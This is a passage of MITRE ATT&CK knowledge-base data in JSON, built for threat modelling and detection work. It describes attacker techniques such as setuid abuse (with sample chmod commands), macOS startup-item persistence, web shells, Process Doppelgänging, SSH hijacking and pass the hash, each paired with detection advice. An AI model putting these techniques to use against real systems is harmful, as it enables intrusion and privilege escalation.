Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","User","root"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1166","url":"https://attack.mitre.org/techniques/T1166"},{"url":"http://man7.org/linux/man-pages/man2/setuid.2.html","description":"Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.","source_name":"setuid man page"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"}],"modified":"2020-02-05T20:09:22.650Z","name":"Setuid and Setgid","description":"When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["Administrator","root"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","created":"2020-01-15T18:00:33.603Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1037.005","url":"https://attack.mitre.org/techniques/T1037/005"},{"source_name":"Startup Items","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.","modified":"2022-04-20T16:43:21.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Startup Items","x_mitre_detection":"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Creation","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["Administrator"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df","type":"attack-pattern","created":"2017-05-31T21:31:13.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1100","url":"https://attack.mitre.org/techniques/T1100"},{"external_id":"CAPEC-650","source_name":"capec","url":"https://capec.mitre.org/data/definitions/650.html"},{"url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","source_name":"Lee 2013"},{"url":"https://www.us-cert.gov/ncas/alerts/TA15-314A","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","source_name":"US-CERT Alert TA15-314A Web Shells"}],"modified":"2020-03-19T20:22:02.163Z","name":"Web Shell","description":"A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_system_requirements":["Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."],"x_mitre_effective_permissions":["SYSTEM","User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1186","url":"https://attack.mitre.org/techniques/T1186"},{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx","description":"Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.","source_name":"Microsoft TxF"},{"url":"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx","description":"Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.","source_name":"Microsoft Basic TxF Concepts"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx","description":"Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.","source_name":"Microsoft Where to use TxF"},{"url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf","description":"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.","source_name":"BlackHat Process Doppelgänging Dec 2017"},{"url":"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/","description":"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.","source_name":"hasherezade Process Doppelgänging Dec 2017"},{"url":"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx","description":"Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.","source_name":"Microsoft PsSetCreateProcessNotifyRoutine routine"}],"modified":"2020-01-14T17:23:25.111Z","name":"Process Doppelgänging","description":"Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Anti-virus","Whitelisting by file name or path","Signature-based detection"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1184","url":"https://attack.mitre.org/techniques/T1184"},{"url":"https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219","description":"Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.","source_name":"Slideshare Abusing SSH"},{"url":"https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf","description":"Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.","source_name":"SSHjack Blackhat"},{"url":"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking","description":"Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.","source_name":"Clockwork SSH Agent Hijacking"},{"url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","description":"M.Léveillé, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.","source_name":"Welivesecurity Ebury SSH"}],"modified":"2020-02-25T19:00:50.826Z","name":"SSH Hijacking","description":"Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","root"],"x_mitre_system_requirements":["SSH service enabled, trust relationships configured, established connections"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Harshal Tupsamudre, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","type":"attack-pattern","created":"2021-08-18T14:06:45.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1614.001","url":"https://attack.mitre.org/techniques/T1614/001"},{"source_name":"Malware System Language Check","url":"https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/","description":"Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021."},{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."},{"source_name":"Darkside Ransomware Cybereason","url":"https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware","description":"Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021."},{"source_name":"Securelist JSWorm","url":"https://securelist.com/evolution-of-jsworm-ransomware/102428/","description":"Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021."},{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-10-15T22:00:56.174Z","name":"System Language Discovery","description":"Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Windows Registry: Windows Registry Key Access","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"modified":"2023-09-29T21:07:31.570Z","name":"Non-Application Layer Protocol","description":"Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Ryan Becwar","Duane Michael"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","Network"],"x_mitre_version":"2.3","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","created":"2017-05-31T21:31:10.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1095","external_id":"T1095"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Cisco Synful Knock Evolution","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"},{"source_name":"Microsoft ICMP","description":"Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.","url":"http://support.microsoft.com/KB/170292"},{"source_name":"Cisco Blog Legacy Device Attacks","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"},{"source_name":"Wikipedia OSI","description":"Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.","url":"http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff","type":"attack-pattern","created":"2017-05-31T21:30:59.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1075","url":"https://attack.mitre.org/techniques/T1075"},{"external_id":"CAPEC-644","source_name":"capec","url":"https://capec.mitre.org/data/definitions/644.html"},{"source_name":"NSA Spotting","description":"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.","url":"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}],"modified":"2020-01-30T19:55:38.699Z","name":"Pass the Hash","description":"Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_system_requirements":["Requires Microsoft Windows as target system"],"x_mitre_is_subtechnique":false},{"modified":"2023-03-30T21:01:48.815Z","name":"Steganography","description":"Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","created":"2020-02-05T14:28:16.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/003","external_id":"T1027.003"},{"source_name":"Wikipedia Duqu","description":"Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.","url":"https://en.wikipedia.org/wiki/Duqu"},{"source_name":"McAfee Malicious Doc Targets Pyeongchang Olympics","description":"Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeremy Galloway"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","created":"2020-10-01T00:54:30.869Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1584.002","url":"https://attack.mitre.org/techniques/T1584/002"},{"source_name":"FireEye DNS Hijack 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html","description":"Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."},{"source_name":"Crowdstrike DNS Hijack 2019","url":"https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/","description":"Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022."},{"source_name":"Talos DNSpionage Nov 2018","url":"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html","description":"Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."},{"source_name":"CiscoAngler","url":"https://blogs.cisco.com/security/talos/angler-domain-shadowing","description":"Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017."},{"source_name":"Proofpoint Domain Shadowing","url":"https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows","description":"Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain 